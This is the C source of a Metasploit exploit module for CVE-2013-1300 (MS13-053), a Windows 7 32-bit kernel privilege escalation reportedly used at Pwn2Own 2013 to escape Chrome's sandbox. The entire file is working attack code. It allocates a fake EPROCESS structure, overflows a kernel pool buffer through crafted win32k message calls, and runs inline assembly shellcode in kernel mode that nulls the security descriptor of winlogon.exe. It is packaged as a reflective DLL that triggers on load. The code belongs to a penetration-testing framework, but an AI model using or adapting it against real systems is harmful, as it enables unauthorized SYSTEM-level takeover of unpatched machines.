metasploit-framework/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.c

292 lines
7.9 KiB
C
Executable File

/*!
* @file dllmain.cpp
* @brief Exploit for CVE-2013-1300 aka ms13-053
* @detail Tested on Windows 7 32-bit.
* Used in pwn2own 2013 to break out of chrome's sandbox.
* Found and exploited by nils and jon of @mwrlabs.
*/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// Purloined from ntstatus.h
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS
#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#define MAX_PAGE 4096
#define TABLE_BASE 0xff910000
#define EXPLOIT_MSG WM_GETTEXT
// global variables FTW
HWND gHwnd = 0x0;
unsigned int gEPROCESS = 0x0;
unsigned gPid = 0x0;
typedef struct _HANDLEENTRY {
VOID *phead;
VOID *pOwner;
UINT8 bType;
UINT8 bFlags;
UINT16 wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
DWORD gethandleaddress(HANDLE h) {
HMODULE mod = GetModuleHandleA("user32.dll");
DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo");
PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1];
DWORD index = (DWORD)h&0x3ff;
HANDLEENTRY entry = handles[index];
return (DWORD)entry.phead;
}
DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
WORD um=0;
__asm {
mov ax, cs
mov um, ax
}
if(um == 0x1b) {
} else {
// KERNEL MODE CODE EXECUTION
// shellcode to change ACL of winlogon.exe to 0x0
__asm {
mov eax, hwnd // WND
mov eax, [eax+8] // THREADINFO
mov eax, [eax] // ETHREAD
mov eax, [eax+0x150] // KPROCESS
mov eax, [eax+0xb8] // flink
procloop:
lea edx, [eax-0xb8] // KPROCESS
mov eax, [eax]
add edx, 0x16c // module name
cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe
jne procloop
sub edx, 0x170
mov dword ptr [edx], 0x0 // null acl
mov eax, [edx + 0xb8] // write winlogon pid to global var
mov gPid, eax
}
return 0x201000;
}
return DefWindowProcW(hwnd,msg,wparam,lparam);
}
HWND createhelperwnd() {
WNDCLASSA wndclass;
HANDLE hinst = GetModuleHandleA(0);
DWORD rc = 0;
wndclass.style = 0x4000;
wndclass.lpfnWndProc = (WNDPROC)kernelwndproc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = (HINSTANCE)hinst;
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
wndclass.hCursor = 0;
wndclass.hbrBackground = (HBRUSH)6;
wndclass.lpszMenuName = 0;
wndclass.lpszClassName = (LPCSTR) 0x1338;
rc=RegisterClassA(&wndclass);
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
return windowhandle;
}
typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle,
PVOID *baseAddress,
ULONG_PTR zeroBits,
PSIZE_T regionSize,
ULONG allocationType,
ULONG protect);
BOOL AllocFakeEProcess(DWORD address) {
unsigned int addr = 0x200000;
DWORD allocsize = 0x4000;
int x=0;
NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0;
pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
unsigned o = (0x20 / 4); // the offset into the page
NTSTATUS res = 0x0;
for(x=0; x<0x60; x++) {
res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40);
if(res == 0x0) {
break;
}
addr += 0x10000;
}
if(res!=0) return FALSE;
memset((void*)addr, 0xab, 0x4000);
UINT *eprocess = (UINT*)addr+o;
UINT *before = (UINT*)addr;
// large enough values to hold reference
before[2] = 0x00080000;
before[3] = 0x400000;
UINT *second = (UINT*)addr + (0x1000/4);
for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x);
eprocess[0] = 0x03030303; // least significant byte == 0x3
// Pointer to EPROCESS_QUOTA_BLOCK
// Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure
eprocess[0xd4/4] = address;
gEPROCESS = (unsigned int)eprocess;
//for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x);
//second[0x20] = 0x2;
//second[0x30] = 0x1;
return TRUE;
}
DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
if(msg == EXPLOIT_MSG) {
// triggering the exploit through WM_GETTEXT
// printf("[-] WM_GETTEXT message\n");
unsigned char payload[] = "ABCDE ";
payload[7] = (gEPROCESS>>16) & 0xff;
memcpy((void *) lparam, (void *)payload, 8);
return 8;
}
return DefWindowProcA(hwnd, msg, wparam, lparam);
}
DWORD windowthreadproc(LPVOID arg) {
WNDCLASSA wndclass;
HANDLE hinst = GetModuleHandleA(0);
DWORD rc = 0;
MSG msg;
wndclass.style = 0x4000;
wndclass.lpfnWndProc = (WNDPROC)wndproc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = (HINSTANCE)hinst;
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
wndclass.hCursor = 0;
wndclass.hbrBackground = (HBRUSH)6;
wndclass.lpszMenuName = 0;
wndclass.lpszClassName = (LPCSTR) 0x1337;
rc=RegisterClassA(&wndclass);
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
gHwnd = windowhandle;
while(1) {
GetMessageA(&msg, 0x0, 0x0, 0x0);
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
return 0;
}
DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) {
__asm {
push ansi
push fnid
push result
push lparam
push wparam
push msg
push hwnd
push 0xdeadbeef
mov eax, 11eah
mov edx, 7ffe0300h
call [edx]
add esp, 20h
}
}
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef long (*_RtlCreateUserThread)(HANDLE,
PSECURITY_DESCRIPTOR,
BOOLEAN,ULONG,
PULONG,PULONG,
PVOID,PVOID,
PHANDLE,PCLIENT_ID);
_RtlCreateUserThread RtlCreateUserThread;
int Schlamperei()
{
// Create window which will execute the wndproc in kernel mode
HWND wnd = createhelperwnd();
// Retrieve memory address of window using gSharedInfo
DWORD addressofwnd = gethandleaddress(wnd);
HMODULE ntdll=LoadLibraryA("ntdll.dll");
RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread");
// Allocate fake EPROCESS in user mode
// see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt
if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) {
return 0;
}
// Create window in new thread to trigger inter thread message sending
HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0);
Sleep(0x1000);
// 0x9 is size of allocation, results in buffer (8 + 4) = 12
// 8 byte block allocations = 16 bytes
// so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer
unsigned char *buf = (unsigned char *)malloc(16);
for(int i=0; i<0x40; i++) {
NtUserMessageCall(gHwnd, EXPLOIT_MSG, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10);
}
SendMessage(wnd, 0x401, addressofwnd, 0x0);
ExitProcess(0);
}
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
switch (dwReason) {
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL) {
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
Schlamperei();
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
};